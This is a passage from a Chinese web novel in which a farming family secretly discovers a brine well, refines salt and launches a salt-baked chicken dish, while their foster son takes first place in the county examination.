身经百战的他们已经练就了一颗坚强的心,能在巨大的唢呐敲锣噪音中面不改色作答,能在被撕烂的卷子上书写,能坐在恭桶上一边窜稀一边破题。 这点闲话就像毛毛雨,隔靴搔痒,完全挠在乌龟壳上。 讥讽的人见清水沟的学子,淡漠的排队,彷如没长耳朵,眼皮子都没掀起来,无趣的闭了嘴。 二月的天气,带着寒冷。 考试规定,不允许穿夹棉的衣衫,所有,刘青青给他们准备的布料是特制加厚的粗棉布,比起其他学子来说,暖和了许多。 士兵搜查完他们身上,赞许的点点头,朗声道:“后面排队的学子,衣衫要像他们一般,夹棉的自己用刀划开等待检查!” 后面传来一阵吸气声,这么冷的天,不能穿棉衣,那不是要命么。 大家眼热起青水沟村学子们的单衣来。 为这些学子准备衣衫的人,实在周到,单层厚衣,能保暖的同时,快速合格的通过检查。 士兵们顺着从头发丝到鞋底子将考生们检查一遍,没有发现异常,便一一检查考篮。 因要考一天,允许学子们带着干粮进去。 搜身的士兵捡起考篮里的油纸包,层层打开,先闻到一股鲜花的气息,正疑惑是哪家的花开了,便看见眼前圆嘟嘟雪白的烤饼。 烤饼有拳头大小,扁平的,稍微碰了一下,掉下一层一层的酥皮,最上面焦黄色的面皮上,散落着几粒发黄的芝麻,没吃早食的士兵忍不住咽了一下口水。 他屏住呼吸,不让烤饼的清香气息往鼻尖里钻,将烤饼一分为二掰开,检查里头是否藏有夹带。 众目睽睽下,大家发现,里头既不是肉馅,也不是常见的花生豆沙馅,而是深粉色的花瓣馅。在寒冷的早春中,这一抹深粉,为苍茫的大地添加了一抹亮丽的色彩,世界变得鲜活起来。 郭守云清朗的声音响起,他解释道:“这是青华楼,摘采今年头茬玫瑰花做的馅料,名玫瑰鲜花饼,花香扑鼻,入口酥软清甜,不粘不腻,能缓解紧张,提高食欲。” 围观排队的学子们,看看自己考篮中的白面馒头,因天冷而变得硬邦邦的甜饼,或者油腻腻的馅饼,顿时羡慕不已。 郭守云主动掰开另外一个,层层裂开的酥皮里露出淡黄色的馅料,甜腻的香气如同小虫子,在大家鼻孔里横冲直撞:“这是茉莉花饼,吃掉后口齿生香,有提神清脑的功效。” 士兵咽了咽口水,盯了下馅料,确实是真材实料的花瓣,没有夹带纸条,挥挥手示意他进去。 接下来,士兵又生生忍受了十九次花香扑鼻的洗礼,当他检查到后面的学子,看着掰开馅饼中油腻腻的肉馅的时候,忍不住嫌弃的同时,终于舒了口气,终于不用再忍受鲜花饼的香味了,实在太勾人。 对比之前那二十个学子准备的烤饼,这些学子里的干粮,就是猪食。 捏着要不是硬邦邦的,就是黏腻腻的干粮。 他暗暗决定,等一下下值,就去弄几个鲜花饼充饥。 旁边围观的百姓,有那嘴馋的,早就一溜烟奔去青华楼,尝一尝这个青华楼新出的鲜花饼。 青华楼推出的新品鲜花饼,以这样高调绝美的形象,快速的传遍整个县城,往周边蔓延。 完成了刘青青交代,郭守云收敛心神,走进考场,按照名字找到自己考舍坐好,将笔墨放在桌子的边角,垂睑静心等待发题。 阿青说了,说完那些台词,他的任务就算完成了,所以,他是来为鲜花饼作宣传的,而不是来考试的。 阿青不想他有压力故意这么说的。 他能感受到阿青身上的焦虑,那是一种深深的不安,当周围有不怀好意的贪恋目光时,他也会有相同的恐惧。 所以,这次考试,他必须要取得名次,为刘家,筑起一道简单的保护墙。 他卷起了袖子,露出因长时间写字,而变得微微外翻的食指骨节,这是他努力的证明。 不提考场内的郭守云,外面的刘青青遇到了新的难题。 刘有山郁闷的找到她:“二丫头,这次看走眼了,这块地不适合盖房。我们才往下挖了七尺的地桩坑,便不停的冒出水来,舀干后不到一天又满了, 这样埋桩下去,两三年就泡坏了,盖的房如何长久,要不,重新换一块地盖?” 一百两银子买的地,不能盖房,又种不成庄稼,可惜了。 第137章 第137章盐焗鸡 刘青青抽空回到清河沟村,山脚下,刘家新买下的40亩荒地,地势东高西矮,稀稀疏疏长着生命力最为强劲的锯子草,她直接走到东边最高的地方,这里远离河岸,是她选中盖房的地界。 草地上堆放着许多工具,因遇到这档子事,来帮忙的工匠被刘有山打发回去休息。 荒地上整齐的挖了十二个约摸六尺的深坑,准备下桩,作为五间正房的柱子。刘青青伸着脖子一一查看,十一个坑挖开后没有问题,红褐色的泥土带了一点水汽,但是,第三个,已经汪了半坑的水在里头。 刘有山指着坑里浑浊的半坑水,幽幽道:“今早我才来把坑里的水打走,这么半天的功夫,又浸出了许多。” 他指了指三丈开外的一处洼地:“诺,我怕水再浸回去,将水远远的倒在那边,这不是打出的水回流,这个坑八成挖在泉眼上了。” 汰,平时打井,怕找不到泉眼,得请多年的老把式来选地挖井,还不一定成功。现在倒好,随手一挖,便是泉眼。 他和刘青青商量:“是不是,重新选块地方起坑放桩?这里以后修一眼水井,也不错。” 刘青青皱眉,有些不甘心,这片地基落在整块荒地的最中央的位置,且是地势最高的地方,背靠后山,面朝河岸,风水极佳。 不过,地桩立在泉眼里,三两年地桩腐朽,房子成了危房,自家盖房子,肯定不能弄这样的豆腐渣工程。 无奈道:“您说这里挖眼井,水质如何,您尝过了么?是甜水么?” 刘有山愣了一下,还真没有。 他顺手将一边的木桶丢下去,打了半桶水上来,双掌相合捧了一捧有些浑浊的水尝了尝。 “呸,呸呸!” 刘有山一口吐出嘴里的水,从扯下腰间的水囊,灌了一大口苏氏给她装的白开水漱口。 “可惜了,这水又苦又咸,是眼苦水井!” 刘青青挑挑眉。 咸? 苦水井的井水不好喝,带着涩味,或者带着腥味,从来没听说过,带着咸味的苦水井。 她若有所思的走到远处刘有山倒水的凹地,正是午时,明烈的阳光,晒得脸生疼。凹地里的水分已经浸湿了土地,将浅红色的地表变成斑驳的深红色。 几颗锯子草焉头耷头的站在那里。 她扯过一颗锯齿草,锯子草中间叶芽的地方,几片新发的新叶,形成了一个能储水的小凹槽,里头被蒸发后,只剩下浅浅一层水汽。 刘青青将草芽摘掉,尝了尝凹槽里的水滴,确实如阿爹所说,除了苦涩,还有一股咸味。 味道极淡,确定是咸味没错。 那是,盐的味道! 这竟然是卤水! 可以晒盐的卤水。 刘青青心跳急促了几分,她左右张望了一下,正午时分,远方的田地里已经有劳作的村民,赶着耕牛将肥沃的土地犁成垄。 被巨大的馅饼砸中,她懵逼的走到刘有山的身边,压低声音不确定道:“阿爹,这是不是盐井?” “盐井?” 刘有山皱了皱眉头,先是不解,而后便是巨大的惊愕:“你说,这是可以晒盐的那种盐井?” 盐是什么,盐是可以像铜钱一样,直接兑换物品的硬通货啊。 若这眼井,真是是盐井,代表着这是一口聚宝盆,只要采出卤水,意味着无数的银钱滚滚而来。 他结结巴巴:“不能吧!” 祖祖辈辈生活在这里,没听说谁家挖出盐井来。 “要不,去问一问村长?” 刘青青已经冷静了下来,她都能穿越,挖出一口盐井来,确实不值得大惊小怪。 现在不完全确定是盐井,但八成是。要确定很简单,将井里的水带回去,煮干了便知晓。 她拉住被巨大惊喜砸晕的刘有山:“阿爹,现在还不确定呢,莫要走漏了风声!” 刘有山恍然回神,财帛动人心,这口井代表着巨大的财富,小小的刘家不一定守得住,恐怕还会带来灭顶之灾。 两人装模作样在四周晃了一圈回了家,路上遇到相熟的村民打招呼,刘有山僵着脸回应,大家看他脸色不自然,只当他心疼选的宅地基渗水,不痛不痒的安慰了几句。 接下来的几日,两人日日到地基里绕一圈,随身携带着水囊,将水囊里的水全换成井里的水,攒了一锅,呆呆的守在锅边煮水。 问就是喜欢看水翻滚的样子。 苏氏和刘慧兰抱怨:“你爹和妹妹真是疯魔了。” 刘慧兰若有所思,上次妹妹这么做的时候,弄出了河泥肥料,这次,估计又在鼓捣什么东西,她默默的多抱了几捆柴堆在锅洞口。 耗时一整天,烧完了一捆柴,看着锅底薄薄一层淡黄色的颗粒时,刘青青对自己的判断产生了怀疑,难道,不是盐巴。 刘有山筷子尖,从锅底捻起一点,塞到嘴巴里尝了尝。 浓烈的咸味立马冲刺口腔,他兴奋一掌拍在刘青青肩膀上:“好丫头,真有你的,我们发财了!” 刘青青兀自怀疑:“盐不是洁白如雪么,咋个是淡黄色的哦!” 刘有山嘿嘿解释:“粗盐就是这样,有杂味,我们家吃的是细盐。”每次刘青青直接买细盐,还当她嘴巴挑剔,原来是根本不知道粗盐这回事。 两人将锅底一层淡黄色的颗粒全部铲了出来称量,锅里总共装水二十公斤,熬得粗盐一公斤,百分之五的出盐率。 市场上细盐一公斤600文,粗盐100文一公斤,熬煮一锅水,耗费柴火一挑,清水沟背靠大山,柴火不花钱,自己上山捡就行,刘家缺少劳动力,请村学里的孩子帮忙捡,一小担一文钱,凑够一大担需要五小担子,就是五文钱。即便按照县城市场价算,这么一挑柴火二十文。 他们这一锅盐的利润也有80文。 而且,他们取得是浅层的卤水,被稀释过,若深层的卤水,含盐量应当会加倍。同样的,开采难度会加倍。 刘青青心里的小算盘打得噼里啪啦响,一口锅煮盐一天得80文,若准备十口锅,那便是800文,一百口锅,那便是8两银,同时开工一千口锅,乖乖,一日纯利80两银,一个月便是2400两,坐着收钱的买卖,怪不得商人趋之若鹜,朝廷收取重税。 刘青青将目光放在粗盐上,若把粗盐提纯呢,不晓得同样二十公斤的卤水,能得到多少细盐? 卤盐水和海盐水溶质含量大差不离,含有杂质钡元素和镁元素钙元素,这东西味道苦涩,服用得多还会导致中毒。 所以,粗盐价格便宜,不仅是因为颜色发黄,还因为吃得多,日积月累之下,胆肾结石不是梦。 在这个没有手术的时代,结石唯一的下场,便是活活疼死。 其他人不晓得怎么提纯,她恰好在末世的化学课本上背过。 卤水中游离的钙镁离子,会和蛋白质发生固化反应。 说人话就是,在卤水中加入适量的豆浆,将固体捞走,便清除了其中的钙镁钡杂质,剩下的便是纯净的氯化钠溶液。 刘青青迫不及待的试验一番。 她催促刘有山,两人带着水囊去荒地里晃荡,表面是勘测丈量重新盖房的地界,其实是将水囊灌满卤水,弄回家。 在煮卤水的同时,后院的石磨骨碌碌转动起来,磨好的浓豆浆,一点点倒进卤水中。 果然,雪白的豆浆立马变成了脏兮兮的固体,刘青青用粗布做的漏网一一捞出来,剩下的便是澄清的盐水。 刘有山用筷尖尝了尝,此刻的卤水,只剩下纯净的咸味,再也没有了苦涩。 一锅二十公斤的卤盐水,最后得半公斤雪白的细盐,可以卖三百文。 去掉二十文的柴火,一公斤的豆子十文,还剩270文。 当得到数字的那一刻,大家的呼吸全都炙热起来,竟然是粗盐的4倍。 接下来的几日,一家子疯魔一般,不停的打卤水回来蒸煮,两口大锅换着煮盐,足足攒的二十公斤,整整一满锅的雪白细盐。 这代表着十二两银子。 被仍在一边的翠翠,不高兴的拉着刘有山委屈的哭诉:“你们一天天忙着煮饭,都不愿意搭理我,哥哥走了半个月,该休沐回来,快去接他。”她一直记得,郭守云每半月回来一次,这几日,全家人忙着煮盐,怕她嘴巴不牢靠,将她打发出去玩儿。 在她小小的心里,厨房里是做饭做好吃的,爹娘姐姐鼓捣了好几天,却没吃端出来,定然是不爱她了,不给她吃的了,所以,特别想念每次回来给她带吃的郭守云。 刘青青一拍脑袋:“啊哟,都忘了,阿云还在县城考试呢,恰好今日最后一科,不晓得他出来,没看见我们,会不会伤心。” 急急忙忙和刘有山两人坐船进城去接人。 等两人到了考场外,考场外已经空无一人,孤零零坐在石阶上的郭守云,看见他们,立马有气无力的摇摇手示意。 郭守云有些委屈,大家都有家人来接,只有他没有,虽然不是什么大事,但心里怪失落的。人一旦泄了气,便没了劲,没力气走路,干脆坐在这里歇息歇息。 看见面前的两人,比他还要狼狈疲倦几分,他疑惑道:“你们这是怎的拉?” 刘青青看他眼下的青黑,和焉巴巴的神色,没有来心里一虚,若是这几日在青华楼看顾着他,他应该不会这样疲惫吧。 有心想问一问他考得如何,几分把握,也不敢吭声了。 只捡的无关紧要的话说:“告诉你哦,家里做了盐焗鸡,快回去吃!” 第138章 第138章阿云的建议 今日最后一场考试,清水沟村的学子们被家人接走,各自回家。 三人摇摇晃晃坐船回到家,刘慧兰已经清理好十只两公斤左右的三黄鸡,正要开膛砍小,刘青青连忙阻止。 盐焗鸡选用的生鸡要嫩,约摸养了半年左右的最佳。 她取出一块沙姜,洗净去皮后切片,三个黄栀子一起放入碗中,冲入白开水搅拌均匀。 沙姜也叫山奈,是一红温理的中药材,能够去腥去味,保留肉味的鲜美和浓郁。黄栀子性寒清热,治疗小儿黄疸的茵栀黄口服液的主料便是黄栀子,它的果实属于天然的色素,也是一种水溶性的类胡萝卜素,非常容易被人体吸收,转化为维生素。 不一会,清冽的白开水变成了明黄色。 刘青青用干棉布擦干净鸡身,然后将调好山奈水浇在鸡身上,慢慢怕打。 鸡腹内也要用山柰水涂抹,等全部水汽拍打被鸡吸收后,用花生油在鸡身外面整个涂抹一遍,这样能让汁水锁在鸡肉中。 放两片生姜,一个葱结到鸡肚子中,把鸡脚也塞进去,最后用油纸将鸡整个的包裹好。 这几日熬煮出来的盐便派上了用场。 经过豆浆提纯的盐巴是雪白的细盐,犹如白砂糖一般的颗粒,刘青青在苏氏等人的惊呼声中,将二十公斤细盐全都倒进了大铁锅里,炒热后将盐巴用盆舀起一半,包好的鸡埋进盐巴里,再把盆里另外一半盐巴盖在头上,让十只鸡整个没在雪白的盐堆中,小火焗大半个时辰。 盐巴是热的良导体,能从四面八方将鸡肉焗熟。 刘青青估摸着时辰,刨开盐巴堆,露出里头躲着的油纸包,她带着厚手套将鸡整个的抱到盘子里。 一层一层慢慢的揭开油纸包,浓烈的鸡香从油纸包里逸散开来,充满了整个厨房。 油纸完全剥离,鸡整只的趴在那里,犹如沉睡。表皮完好无损,散发出油亮金黄色的光芒。 这卖相,这味道,简直绝了! 刘有山顾不得心疼刘青青用的二十公斤盐巴,左右盐井在那不会长脚跑掉,以后盐巴要多少,有多少,迫不及待带上手套去锅中的盐堆中挖鸡。 别说,还没吃呢,只是从厚厚的盐堆中寻宝一样淘出鸡来,都有一种莫大的满足感。 最先是碰碰瓷瓷的,然后棉花黑炭,刘青青作为最忠实的铲屎官,帮它们把油纸剥开,每只的食盘里放了一只。 终于可以尝一尝了。 郭守云如同翻书那样,一层一层揭开油纸包,露出里头的鸡,右手拉着鸡翅膀轻轻一扯,雪白的肉丝带着金黄色的皮,便撕裂了下来,看着破碎的鸡肉,莫名很解压,等待考试结果的忐忑,在鸡肉的撕扯中消散。 他将冒着热气的鸡肉往嘴里一送,外皮焦黄酥脆,肉质白嫩松软,鲜甜多汁,带了淡淡的咸香,不要太上头。 刘有山没郭守云那样的耐心,一层一层的揭皮,而是将油纸包戳开了一个小洞,欻拉撕开个口子,揪出躲在里面的整鸡。 不曾想,鸡腹内竟然有汤汁,哗啦流了出来,溅得到处都是。 他手急脚乱用盘子接住,得了半盘子的金黄色的鸡汤,尝了一口,滚烫鲜美,浓香入味。 作为青华楼主厨的刘慧兰,立马建议:“太好了,青华楼又有招牌菜了!” 街面摆上这么一口大铁锅,当场做盐焗鸡,一定能吸引无数的客人。 这年头盐巴是真的贵,大家看到用这么一大锅雪白的盐巴做菜,必然痛快的掏腰包。 “你们说,定价五十文一只鸡,如何?” 刘青青笑道:“我估摸着,定价必须上六十,才能保本。” 刘有山一愣,看着并没有变化的盐山:“可是,做这道菜的时候,没用到盐啊!” 本钱就是鸡和一点佐料,加上人工,成本在三十文顶天了。 锅里的盐巴,有一点点焦黄,可以重复用来做盐焗鸡。 刘青青解释:“这道菜不费盐,但是费锅。”这种厚实的大铁锅,普通人家蒸煮炒,可以用十多年,盐焗鸡为何比炖煮的美味,因为盐焗的温度远远超过沸水的温度,所以味道好。 同样的,铁锅长时间高温煅烧,坏的快。 最多一年,铁锅就会裂开。 刘青青对刘慧兰建议:“其实除了盐焗鸡,可以做盐焗鸭,盐焗鹅,盐焗猪肘,万物都可盐焗,可以多开发一些出来。” “在做盐焗鸡的时候,将鸡蛋在盐巴的空隙的部分,顺带做个盐焗鸡蛋。” 刘慧兰感觉打开了新思路,已经在脑袋里想着可以用来盐焗的菜品。 刘青青惆怅的叹了一句:“做菜是小事,现在的问题是,盐井怎么办?我们一家开采,怕吃不下来。”这代表着白花花银子,传出去肯定引来多方的抢夺,到时候,小小的刘家,成了风暴的中心,不晓得能不能全身而退。 说到这,她感激的看了郭守云:“多亏你提主意在村里盖房,我们才得了这口盐井。” 刘有山猎人出生,骨子里信奉拳头那一套:“怕它个球,我们直接叫上全村的村民一起采盐,人多力量大,谁敢来闹事,直接打趴下!” 苏氏给了他一肘子:“打打打,你当你还十五六呢,女儿都要嫁人了,还想着动手,这些年算是活到狗身上去了!” 刘有山被她一训,身上豪放的气焰立马熄灭,缩在苏氏身边:“你说得是,我就是说着玩的!” 大家见怪不怪,都已经习惯了他的变脸。 郭守云咳嗽了一下道:“大赵律法第三百六十五条,商户必须持官府执照,才有资格探寻、开采、晒制、售卖食盐。” 他指着锅里焦黄色的盐巴,一句话浇灭了大家的热情:“严格来说,现在盐井不是我们的,而是朝廷的,这些都是私盐,官府有权全部没收!” “不仅能没收,还能治我们一个偷盗罪!” 所有人愕然了:“可是地契是我们的,盐井也是我们发现的,怎么就变成了朝廷的呢!” 郭守云无奈:“朝廷律法就是这样规定的。” “盐的生产销售受朝廷的管控,不要忙着开采,更不要泄露了风声,得先去盐运使衙门里,弄到执照,才能合理合法的,取卤水晒盐。” 懵逼的刘青青回 神,连呼好家伙。 在末世,盐巴是调味料的一种,任何一个小商店里都可以买到的东西,她学历史,知道封建王朝将食盐管控得很紧,不晓得竟然这么紧。 她已经很保守克制了,哪知道律法对于食盐,竟然管控得如此严格。 好似为了解决大家的疑惑,郭守云组织了一下言语,慢慢道来:“大赵如今征收的是人头税,按人丁缴税。” 我们南安府因偏安一隅,民风彪悍,吏治清明,人头税按朝廷规定的缴纳,三十文一人一年。 但是,有的富庶地带,从上至下,官员层层加码,百姓的人头税竟然达一百多文一人。 人口众多的家庭,每年要缴纳高达一二两银子,他们干脆带着田地投到官宦之家,自愿成为佃户,他们就成了隐户。 隐户本该给朝廷的税银,便跑到了官宦手里。 朝廷发现税银一年较一年少,就是因为隐户越来越多的原因。 所有人都离不开食盐,每个人一年的食盐用量是固定的,通过一个地区的食盐销量,可以估摸出该地的真实人口,所以,朝廷严格管控食盐,一来是知道治下百姓的真实数额,有效控制隐户的人口。 二来,食盐暴利,官府通过竞价售卖盐引,获取一笔高额利润,补贴国库。 之前,朝廷对盐政的法令是,官民合作,也就是,允许一定的百姓晒盐。 但是,北线与金人作战,朝廷军费紧缺,朝廷上有人提议,以后食盐一律官营,获取利润,以供北线作战,我估摸着,最多半年,就会实施。 所以,我建议,暂时将盐井回填封闭,过几年朝廷政策变了再开取晒盐!” 听了郭守云的话,刘青青庆幸不已,幸好,幸好郭守云读了书,知道些时政。 不然,他们铁着头办盐厂,开采盐井,钱赚不到,白辛苦一场,为他人做嫁衣,还会招来杀身之祸。 这一刻,她深刻感受到了读书人与普通人之间的信息壁垒。 郭守云被她灼热的目光看得有些不自在,羞赧的摸了摸头:“这只是我读书后乱说的,我觉得,我们还是去探探师父的口气,他肯定知道该怎么办?” 卢雪樵那里自然是要去探一探的,不仅卢雪樵,刘青青计划着,温如初,薛文豪那里都去探一探。 自然不能直接说发现了一口盐井,刘青青打算借口,青华园业务范围扩大,急需盐引。 至于盐井,放在那里又不会跑,先把房子盖起来,四周围起来,占住地方。 作为刘家的领路人,刘青青当即采纳了郭守云的建议,召开家庭会议,严肃道:“我们所有人守口如瓶,不可将盐井的事透漏出去。” “阿爹,二贵叔也不许说!” 刘有山点头如捣蒜,表示坚决拥护女儿的领导。 “阿娘,不可以在村学里提半个字!” 苏氏讪讪的,她喜欢和孩子们讲一讲家里的事情,孩子们都盼望着来家里看碰碰瓷瓷,被女女儿点出,面上有些挂不住。 刘青青看向刘慧兰,顿了顿还是道:“阿姊,青华楼里我们依旧买盐用,等房子盖好了,我们悄悄的煮点盐巴供应给楼里,此事你在垚叔面前,莫要漏了口风!” 刘慧兰脸一下子涨得通红,声如蚊呐:“我晓得了!” 第139章 第139章放榜 三月初五,南平府一片春色,除了早晚有些冷,中午的太阳能把人晒晕。 清晨的寒露还挂在树梢,县衙外已经聚集了一大波百姓——今日是县试放榜的日子。 县城内众多开办私塾的夫子无心上课,将私塾内的小学童们放了出来,挤在榜单前围观这一盛事。 南城的杨秀才和北城的张夫子,素来看不上眼。两家私塾将每一年的童生包揽了大半,今年估计也不出意外。 杨秀才皮笑肉不笑:“哟,张先生,您老亲自来看榜啊,这里人多,万一碰到您这老胳膊老腿的,可得小心!不管您来不来,县案首也不会改变不是!” 张夫子冷哼一声,躲开他的掺扶,搭在身边的小童肩头上:“不劳你费心!” 两人办学理念不一样,张夫子讲的是头悬梁锥刺股那一套,背不会书,那便打,直到打得会为止。 杨秀才讲的是天分,只收他认为有天分的童子。 两人正拌着嘴,便看到清水沟村的二十个报名童生试的学子,穿着同一款天青色的衣裳,围在一起,不时焦急的看一眼紧闭大门。 人群里头的赵刚看见两人,连忙出列对两人行礼。 赵刚曾报名两人的私塾,都被拒绝了。 张夫子嫌他年纪大,杨秀才觉得他愚钝不堪。 两人对视一眼,难得的统一了口径,昂着下巴教训道:“你们农家子弟,种田赚点钱不容易,好好的,考什么童生,有那点交保的银钱,还不如留着盖房说个媳妇!” 啧,这话听着好像在为赵刚好,但就是不怎么得劲儿! 郭守云戚眉,拉了拉赵刚的袖子:“哥,这是?”赵刚算是他的启蒙恩师,他见不得赵刚被欺负。 因为赵刚曾在两人私塾面试过,两位也算赵刚的半个老师,赵刚拉了他一下,示意他行礼。 唯唯诺诺解释道:“多谢先生教导,刚知道自己不是读书的料,是陪着族里弟弟一起下场,和他做个伴!” 杨秀才和张夫子斜了眼他身边的郭守云,和赵刚一样的打扮,但瘦瘦高高吃不饱饭的模样,一看就是吃了上顿没下顿的,一顿嫌弃:“啧,字认全了么,就敢下场!” 杨秀才看着他清越的眼眸,有那么一分意动,,纠结了半响,昂着下巴道:“小子,只要你这次考中了前一百名,我便收你入私塾!不过三师六礼不能少。” 农村人喜欢占便宜,不要因为他主动开了口,便不交学费,那他亏大了。 他昂着下巴,一副给了你莫大恩惠的模样。 郭守云:“……” 你的私塾很厉害么,比府学还厉害么? 对方一副一言难尽的表情,杨秀才面上带了不虞,他都不嫌弃郭守云家贫不识字,对方竟然还嘲笑他,实在不识抬举,朽木不可雕也。 正要教训他几句,忽而笑道:“小子,我看你是不知道天有多高,地有多厚,等你看了榜单,密密麻麻都是我们私塾的人,你就知道后悔了!” 他正要介绍介绍自己私塾里可能斩获案首的种子选手,被一阵敲锣声打断。 两名皂衣在衙役的护送下,将红榜张贴着榜单上。 大家顺着从上往下看,第一个名字赫然是郭守云。 郭守云是谁,不认识啊。 杨秀才扭头瞪着张夫子:“您老还藏了一个?行啊,真不愧是姜是老的辣!” 张夫子莫名其妙,案首不是自己的学生,正一顿郁闷,立刻怼了回去:“郭守云不是你私塾里的么,还在这里装,要不要脸!” 赵刚连忙将郭守云推了出来,笑嘻嘻道:“两位先生,郭守云便是族弟!” 他看到两位曾经拒绝了他的先生,一脸便秘的表情,心里一阵暗爽,但脸上依旧恭敬道:“啊,真不巧,族弟一下场,就考了个案首,案首直接授廪生,不用再去院试了!” 他兴奋的看着郭守云:“阿云,你真棒,你现在已经是秀才了呢!” 郭守云淡淡的嗯了一声,对自己是县案首这事,淡漠不已,好似就像今天出太阳了一样自然。他指着红榜上最后一个名字:“峰哥,你是不是没发现,你上榜了!” 赵峰嗯了一声,反应过来后,扭过头,眼睛牢牢盯着红榜三十个名字的最后一个,赵峰,平安镇清水沟村,是他,没错! 他搓搓眼睛,眼眶顿时一阵酸涩,盈满了晶莹的泪水。 寒窗苦读十年,风里来雨里去十年,被夫子痛骂愚钝朽木的他,竟然榜上有名。 心中那一点小奢望,成了真! 他兴奋的蹦了起来,恨不得将郭守云丢上天。都是因为这一个月的集训,他才能踩着线上榜。 张夫子和杨秀才看着得了案首依旧 淡定的郭守云,感觉自己之前瞎了眼,人家身上的气质明明是淡然,却被他们看成木讷。 就连他们最不看好的赵刚,竟然也考上了童生,两人讪讪了一阵,杨秀才眼珠子一转,拉着郭守云笑眯眯道:“好孩子,我刚才和你说着玩的,重要你和大家说,你在我的私塾里念书,我给你十两银子,好不好?” 郭守云看了他一眼,淡淡道:“真不好意思,我在府学念书,不能来你的私塾!” 府学啊,他都没资格上的府学,杨秀才感觉脸很疼,扭身走了。 张夫子将视线落在赵刚身上,捂着胡须笑眯眯道:“赵刚,得了童生,还不快来拜谢恩师!”赵刚曾在他私塾里试读了三天,虽然被他赶走了,但读了三天,他便是赵刚的老师。 榜单上录三十名童生,他的私塾里有九个,加上赵刚,便突破了两位数。 赵刚愣了一下,张榜前还看不起他的张夫子换了衣服慈祥的嘴脸,他一时有些不习惯,脸嫩的他不晓得如何回答,郭守云戚眉:“赵峰哥你不是拜了谢玉华先生为师么,什么时候还在张先生的私塾读书,我怎么不晓得?” 张夫子立马讪讪收起脸上的表情。 谢玉华他当然知道,这一期乡试案首,不愧是举人,竟然能把一个朽木,教导得考上童生。 郭守云再次确定了一遍榜单,总共录取的三十人中,他是案首,赵刚是案尾,青水沟剩下的学子都没上榜。 剩下的都在两百名之前,也许下一年就能中。 虽然清水沟村才考中了两名,但他们是清水沟村出来的第一对童生,而且,因他中了案首,剩下的府试院试都不用参加,直接授予廪生文书。 也就是说,从张榜这一刻开始,他已经是一名秀才拉。 他正要把这个喜讯告诉刘青青,转身便看见刘青青站在街边的摊位上,给他使眼色。 她领着青华楼的伙计,将盐焗鸡的大锅摆在了旁边,雪白的盐堆在黑亮的铁锅中。 郭守云径直走过去,从雪白的细盐中刨出了一只包着油纸的盐焗鸡,当着大家的面撕开油纸,露出里头金黄的整鸡,就着香喷喷的味道啃了一口,竖起了大拇指:“好吃!” 刘青青适时掀开一边的横幅:“青华盐焗鸡,案首等着你!” 后面的伙计大声的喊了起来:“青华盐焗鸡,案首等着你,青华盐焗鸡,案首等着你……” 第140章 第140章自主权 有郭守云作活招牌,青华楼的新款招牌菜盐焗鸡,成了常平县学子们必点的一道菜肴,因为青华楼给了大家一种心理暗示,吃了盐焗鸡,便能考中案首,哪个读书人能拒绝这样的诱惑? 不提青华楼的高朋满座,刘青青和郭守云准备了最正宗的盐焗鸡,上门拜访温如初。 刘青青脸上带着笑,试探道:“大人,您看,我们新开发的盐焗鸡,食盐需求量实在太大,您能不能批一份盐引给我?” 温如初看着面前的两人,刘青青一如既往的活拨伶俐,敢想敢拼,充满了朝气,郭守云由原来的内秀木讷变得不动如山,坐在一旁淡然的听着他们谈话。 在座的都不是外人,因为刘青青的大力推广,整个常平县的旱地改种棉花,他还指着刘青青教农户们伺弄棉花,半点不藏私。 自嘲笑道:“盐引哪里是我一个小小县令可以批示的,这事,我真插不上手,你得去府城盐运司。” 刘青青和郭守云对视一眼,果然是这样。 此事不成,刘青青将话题扯到郭守云的学业上。 温如初眼底闪过羡慕和叹息,颇有一种后浪超前浪,前浪拍死在沙滩上的无奈。 外面有人闲言碎语,因他认识郭守云,才点了郭守云作案首,其实,每次县试,是几个县区交换考官监考和阅卷,录取的考生和排名,他根本插不上手,只是最后宣读一下。 当他晓得郭守云是案首的时候,也大吃了一惊。 毕竟,别人不清楚刘家的底细,他再清楚不过,郭守云才念了一年的书,竟然取得了这样的成就,实在是天赋异禀。 这样的念书天赋,实在不该被埋没了。 他很是稀罕:“不如去上京,我父亲四书五经略懂一二,你跟在他身边研读经典,等后年乡试便可下场试水。” 顿了顿,他又道:“只是,我父亲生脾气古怪,不晓得你受不受得了!” 郭守云一愣,没想到温如初这样热心,竟然将他推荐给自己的父亲。 刘青青瞬间心动,双眼发亮。 她早就打探过,温老太爷在上京以演习四书五经出名,任国子监祭酒,温如初便是温老太爷一手教导出来的,称之为进士孵化器不夸张。 刘青青正要一口应下,郭守云已经先声夺人,他起身行礼:“多谢大人厚爱,只是,我入学尚晚,这次得中案首,全是侥幸,如何敢去老太爷面前丢人现眼。” “小子的意思是,继续在府学沉淀几年,若侥幸乡试榜上有名,到时还请大人引荐,厚着脸皮前去拜访!” 虽是拒绝的话,但郭守云说得谦虚有礼,条理分明,他一点也没有觉得被冒犯到。 温如数颔首笑道:“也好,现在上京吵成一锅粥,确实不适合一脑袋扎进去。” 两人告辞出来,待到无人处,刘青青面色不善,定定的看着郭守云。 郭守云摸了摸鼻子,无奈道:“你生气了?” 他拉过刘青青的手,捏了捏自己因抽条而变得突出的肋骨,苦兮兮的卖可怜:“你看看我瘦成这样,你舍得让我,千里奔波到上京,水土不服,吃不饱睡不香么?” “上京不是府城,可以随时回来,此去山高水长,万一不小心生个病,遇个匪,一命呜呼……” 刘青青翻个白眼:“你少糊弄人,其他书生有这样的困扰,你是肯定不会的。” 郭守云默了一瞬间,这一刻,他有些嫌弃自己强大的生存能力。 顿了顿道:“我舍不得你们,舍不得你,舍不得阿爹阿娘阿姊,要去也行,你们和我一起去。” 刘青青沉默了,家里这一摊子,如何撩得开手。 她退了一步:“行,现在府学念书,等家里安顿好,我们便一起进京去。” 郭守云嗯了一声,高高兴兴的在前面牵马。 坐在大妞身上的刘青青好似觉得哪里不对劲,杵着下巴想了半天,才反应过来,被他带偏了。 她郁闷的是,郭守云学会了自主主张,先斩后奏,没经过她同意便拒绝了温如初的提议。也就是,他悄无声息的抢走了她的决定权。 转瞬一想,郭守云已经不再是那个对人类社会一无所知的野孩子,他独自在外念书了这么久,将身边的各种关系处理得很妥当,她实在没有必要事事包办,由着他去决定闯荡也好,反正,她能帮忙兜底。 这一刻,她内心是复杂的,既有看着小树苗长大的欢喜,又有看着小鸟离巢独自飞翔的失落,种种思绪,最后化作了一声叹息。 一切随缘吧。 歇息了两日,两人顺流而下,来到府衙报喜。 卢雪樵拍着郭守云的肩头:“好小子,下场便弄了个案首,没丢我的脸!” 